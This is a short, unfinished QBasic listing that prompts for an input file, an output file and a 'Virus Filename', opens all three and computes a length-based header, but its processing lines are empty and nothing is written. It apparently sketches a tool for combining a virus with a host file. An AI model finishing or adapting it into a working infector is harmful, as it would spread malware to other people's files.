1: CLS 2: DIM Sml AS STRING * 1 3: DIM dd AS STRING * 1 4: INPUT "In Filename"; f$ 5: INPUT "Out Filename"; of$ 6: INPUT "Virus Filename"; vf$ 7: OPEN f$ FOR BINARY AS #1 8: OPEN of$ FOR BINARY AS #2 9: OPEN vf$ FOR BINARY AS #3 10: IF LOF(1) <= 126 THEN m = 1: Sml = CHR$(LOF(1) + 1): Hdr$ = "" + Sml + "" 11: IF LOF(1) > 126 AND LOF(1) <= 255 THEN mm$ = LTRIM$(RTRIM$(STR$(LOF(1)))): m = -1: oo$ = "": oo$ = CHR$(VAL(MID$(mm$, 1, 2))): Sml = oo$: Hdr$ = "" + Sml 12: IF LOF(1) > 255 THEN mm$ = LTRIM$(RTRIM$(STR$(LOF(1)))): m = -2: oo$ = "": FOR q = 1 TO LEN(mm$) STEP 2: oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2))): NEXT q: Lrg$ = oo$: Hdr$ = "" + Lrg$ 13: IF LEN(Hdr$) = 2 AND m = -2 THEN Hdr$ = "" + CHR$(0) + MID$(Hdr$, 2, 1) 14: PRINT Hdr$: PRINT "Type: "; 15: IF m = 1 THEN PRINT "Small" 16: IF m = -1 THEN PRINT "Small-Large" 17: IF m = -2 THEN PRINT "Large" 18: 19: 20: 21: CLOSE 1, 2, 3 22: |